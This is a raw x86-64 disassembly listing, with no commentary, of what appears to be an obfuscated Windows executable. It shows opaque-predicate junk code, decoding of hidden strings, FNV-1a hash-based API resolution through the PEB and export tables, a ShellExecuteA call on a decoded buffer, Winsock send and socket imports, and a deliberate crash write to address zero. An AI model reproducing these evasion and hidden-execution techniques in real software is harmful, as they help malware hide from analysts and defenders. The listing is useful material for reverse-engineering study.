add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401173fa
movabs rdx, 0xf696fb6e40250a2e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x42
add dil, dl
cmp rbx, 0x10
jae 0x1401172dc
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x140117236
movabs rdx, 0x2591a77322fdf784
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116e97
movabs rdx, 0xc9f755014bc76e4a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 6
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x41
je 0x140117346
lea rax, [r10 + 6]
cmp rbx, rax
jbe 0x14011718d
movabs rdx, 0xd10553fb1d2712aa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116ee6
movabs rdx, 0xfb49f4d023095d1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401170e5
movabs rdx, 0xceaa4e632eabc138
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401173a4
movabs rdx, 0xa20aa7f63a4e2554
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
jmp 0x14011746e
movabs rcx, 0x756b018945f08970
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140117333
movabs rdx, 0x48cb5b1c5192ed8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140117330
movabs rdx, 0x1c2bb4af5d3551a8
mov ecx, 0x34
jmp 0x140116db1
movabs rcx, 0xef8c0e4268d7b5c4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5c
jmp 0x140117445
movabs rcx, 0xc2ec67d5747a19e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x140117422
movabs rdx, 0x964cc168801c7dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401173fa
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jae 0x1401170cd
lea rdx, [r9 + r14]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116f48
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401170fd
movabs rdx, 0xa918a6f00badc9b4
mov ecx, 0xa
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401174fa
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140117129
movabs rdx, 0xd5b84d5d000b6598
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x1401173b4
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140117159
movabs rdx, 0x2ef79a36e8c69d60
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140117333
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140116f48
movabs rdx, 0x5b9740a3dd243944
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140117330
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401171bd
movabs rdx, 0xfda4fa681184ae8e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401173fa
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401171e9
movabs rcx, 0x56e44741fa3fe656
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x140117445
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140117215
movabs rdx, 0x962e0f5cbb655e6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4a
jmp 0x14011746e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140116ee6
movabs rdx, 0x36028762c013f1ca
mov ecx, 0x3d
jmp 0x1401173a4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140117266
movabs rdx, 0x52314de0175b9368
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401174fa
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140117292
movabs rdx, 0xab709aba0016cb30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x14011746e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401172af
movabs rdx, 0xd8104126f4746714
mov ecx, Ordinal_60
jmp 0x140117141
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140116e97
movabs rdx, 0x314f8e00dd2f9edc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x140117302
movabs rdx, 0x106dce21a303aa50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x300]
sub dil, al
sub dil, 0x30
add dil, r8b
add dil, dl
movabs rdx, 0xa6bda1581d327842
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x300], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140117509
movabs rdx, 0x3d0d748e97614634
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x300]
sub dil, 0x6c
jmp 0x14011746e
movabs rcx, 0xe6292d4c9d215fde
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x12
jmp 0x1401174fa
movabs rdx, 0xb98986dfa8c3c3fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401174a1
movabs rcx, 0xadcba051ee921ca2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x140117422
movabs rcx, 0x812bf9e4fa3480be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
movabs rdx, 0x7a1dfaeb28d4dc5e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x300], cl
add r10, r12
jmp 0x140117445
movabs rcx, 0xcead603128be112e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
sub r9, r12
jmp 0x140117509
mov r8, r11
movabs rdx, 0x1c2ec67d5747a19e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x52
add dil, dl
movabs rcx, 0xd35d47c511901426
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xa
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x300], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x69ad1afb8bbee218
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x300], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401174fa
movabs rdx, 0xc2ef79a36e8c69d6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x300]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140116a4e
movabs rcx, 0x1778bb4d7a50feba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
jmp 0x140116a4b
movabs rdx, 0xead914e085f362d6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116a3b
lea rdx, [rbp + 0x1726198]
jmp 0x140117574
lea rdx, [rbp + 0x1612f8a]
jmp 0x140117574
lea rdx, [rbp + 0x300]
mov dword [rsp + 0x28], r12d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x1401176e6
xor edi, edi
mov esi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r15, r10
movups xmm0, xmmword [r10 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
mov r13d, 0x811c9dc5
test edi, edi
je 0x14011760a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x1401175fd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401175ee
cmp edx, edi
jne 0x1401176ca
mov r9, qword [r10 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401176ca
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401176ca
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r14]
add r8, r9
mov edx, r13d
jmp 0x14011765a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14011764f
cmp edx, esi
je 0x14011766e
test ebx, ebx
jne 0x14011763d
jmp 0x1401176ca
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x1401176df
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401176df
mov edi, r13d
mov esi, r13d
jmp 0x1401176ab
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011769d
jmp 0x1401176be
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401176b3
mov r10, qword [r15]
mov r10, qword [r10]
cmp r10, r15
je 0x1401176dd
cmp qword [r10 + 0x30], 0
jne 0x1401175b9
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0x1280]
call fcn.14008b590
mov byte [0x1404fba43], 0
call fcn.140103c24
mov byte [rbp - 0x70], 0xfe
mov byte [rbp - 0x6f], Ordinal_50
mov byte [rbp - 0x6e], Ordinal_200
mov r14d, 0x33
mov byte [rbp - 0x6d], r14b
mov byte [rbp - 0x6c], 0x34
mov byte [rbp - 0x6b], 0xa9
xor eax, eax
mov qword [rbp - 0x6a], rax
mov word [rbp - 0x62], ax
movabs rsi, 0x1e3d3b18808e33ba
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x10
jae 0x1401180a7
movzx r9d, byte [rbp + r11 - 0x70]
mov r8, r9
cmp rbx, r11
ja 0x14011809e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140117798
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x16
jmp 0x1401177d2
je 0x14011801c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140117f9a
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140117f62
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140117f3b
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140117eef
cmp r10, r11
ja 0x140118095
lea rax, [r10 + 0x42]
cmp rbx, rax
jae 0x140117809
movabs rcx, 0x7b05d9028baa3e42
add rcx, r11
mov al, cl
and al, r9b
mov edi, Ordinal_27
sub dil, al
add dil, dil
add dil, cl
add dil, r9b
jmp 0x14011783d
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140117ede
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140117ebd
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140117e96
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140117e6f
lea rax, [r10 + rbx]
cmp rax, r11
jbe 0x140117b36
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140117b13
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140117aec
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140117ac5
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140117aa1
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140117a7a
lea rbx, [r10 + 0x400]
lea r10, [rbx + 5]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140118071
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14011804e
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x14011792a
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401179ef
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 4]
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401179cc
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401179a9
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140117986
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140117972
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x14011794f
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14011784a
lea rbx, [r10 + 1]
lea r10, [rbx + 0x28]
jmp 0x14011784a
movabs rdx, 0xf24a29ebcafd4716
add rdx, r11
mov al, dl
and al, r9b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140117769
movabs rcx, 0xd82ec8145d51f210
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140117f11
movabs rdx, 0xe644ef5058e05440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140117f71
movabs rdx, 0x6d5002ee56a78558
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x68
jmp 0x140117e67
movabs rcx, 0x30d58cbd558b1de4
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140117fea
movabs rcx, 0xf45b168c546eb670
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14011803a
movabs rcx, 0xe43402afcf6ee4e6
add rcx, r11
mov al, r9b
and al, cl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x4a
add dil, cl
cmp rbx, 0x28
jae 0x140117ded
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x140117d3a
movabs rdx, 0xaf9cedd92d8c9194
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0xc
add dil, dl
cmp r10, 0x20
jb 0x140117de3
movabs rcx, 0xc658bc338a89c1c
add rcx, r11
mov al, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140117f11
movabs rdx, 0xe223160f45fd758c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011803a
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x24
jmp 0x140117f84
movabs rdx, 0x774450e93f5308d4
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140117f5a
movabs rdx, 0x3ac9dab83e36a160
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140117f36
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x74
jmp 0x140117c4a
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x140117b96
lea rdi, [r11 + rsi]
mov al, dil
and al, r9b
add al, al
sub dil, al
sub dil, 0x16
add dil, r9b
lea rax, [r10 + rbx]
cmp rax, 4
je 0x140117e44
lea rax, [r10 + 0x5a]
cmp rbx, rax
jbe 0x140117c52
movabs rdx, 0x349714d6a1e25352
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x3e
add dil, dl
jmp 0x140117a10
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140117bc6
movabs rdx, 0xf60bb20517547c84
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011803a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140117bf6
movabs rdx, 0x6f009e67198d4b6c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140117fbd
cmp rbx, rcx
jne 0x140117c1e
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140117f84
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140117b55
movabs rdx, 0xd9df638d2037b824
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140117f11
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140117c7e
movabs rcx, 0x71118b07a2febac6
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x140117f11
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140117cae
movabs rdx, 0xea067769a53789ae
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140117f5a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140117cda
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x140117f87
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140117d06
movabs rdx, 0xdbf0502da9a9277e
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x72
jmp 0x140117e67
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140117a10
movabs rdx, 0x186ac65eaac58ef2
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140117fea
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140117d66
movabs rcx, 0xec17640a2ea8f908
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x14011803a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140117d95
movabs rdx, 0x2891da3b2fc5607c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x140117fea
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140117dc2
movabs rdx, 0x650c506c30e1c7f0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140117e67
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140117a48
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x140117efe
mov byte [rbp + r11 - 0x70], dil
jmp 0x140118046
movabs rcx, 0x48e001f439c50390
add rcx, r11
mov al, cl
and al, r9b
mov r8d, 8
sub r8b, al
add r8b, r8b
add r8b, byte [rbp + r11 - 0x70]
add r8b, cl
add r8b, r9b
movabs rdx, 0x671d3d0cba53374a
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 6
add cl, r9b
add cl, dl
mov byte [rbp + r11 - 0x70], cl
mov dil, r8b
jmp 0x140117f84
movabs rdx, 0x855a78253ae16b04
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, byte [rbp + r11 - 0x70]
sub dil, 0x1c
add dil, dl
jmp 0x140117fbd
movabs rdx, 0xe5e49e289254aafa
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140117f87
movabs rdx, 0xa96a27f791384386
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140117f84
movabs rcx, 0xf3fac5648de30d2a
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x26
jmp 0x140117f36
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x140117efe
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 - 0x70], cl
add r10, r12
jmp 0x140117f5a
movabs rcx, 0xc596766f885507e6
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4a
sub r11, r12
jmp 0x140118046
movabs rdx, 0x4ca18a0d861c38fe
mov ecx, 7
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140118046
mov r9, r8
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r11
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x32
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x70], al
add r10, r12
add rax, r10
sub r11, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, cl
mov byte [rbp + r11 - 0x70], r9b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
jmp 0x14011803a
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
movzx eax, byte [rbp + r11 - 0x70]
add rax, r10
add r11, rax
add r11, r12
jmp 0x140117759
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x140117756
movabs rcx, 0x79553d89c8c4782e
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x42
jmp 0x140117746
lea rcx, [rbp + 0x14ac088]
jmp 0x1401180ab
lea rcx, [rbp + 0x118f442]
jmp 0x1401180ab
lea rcx, [rbp - 0x70]
mov dl, r12b
call fcn.1401a2d88
mov byte [rbp + 0x320], 0xfe
mov byte [rbp + 0x321], 0xb1
mov byte [rbp + 0x322], 0x87
mov byte [rbp + 0x323], 0xb3
mov byte [rbp + 0x324], 0xb4
mov byte [rbp + 0x325], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x326], rax
mov dword [rbp + 0x32e], eax
movabs rsi, 0x852f948bcec8ed5a
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x12
jae 0x140118c8f
movzx r8d, byte [rbp + r9 + 0x320]
mov r11, r8
cmp rbx, r9
ja 0x140118c86
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140118150
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x76
jmp 0x14011817d
je 0x140118c02
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140118b75
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140118b16
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140118ac3
cmp r10, r9
ja 0x140118c7d
lea rax, [r10 + 0x80]
cmp rbx, rax
jae 0x1401181b6
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118204
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140118ab4
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140118a94
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140118a71
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140118a4d
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140118a2a
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140118a03
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140118763
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x14011874f
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14011873b
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140118727
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140118704
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401186e1
lea rcx, [r10 + 5]
cmp rbx, rcx
je 0x1401186be
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14011869b
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140118678
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140118655
mov rbx, rcx
lea r10, [rcx + 0xa]
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x140118c5a
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x140118c37
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x1401183fc
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1401183d9
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x1401183b6
lea rcx, [r10 + 0x5a]
cmp rbx, rcx
jb 0x1401185f8
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14011856a
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140118559
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14011852a
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140118211
mov rbx, rcx
lea r10, [rcx + 3]
lea rax, [r10 + 0x41]
cmp rcx, rax
ja 0x140118507
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x1401184e0
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x1401184cc
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x1401184a5
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x14011847e
lea rcx, [r10 + 0x3e8]
cmp rbx, rcx
ja 0x14011846a
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140118456
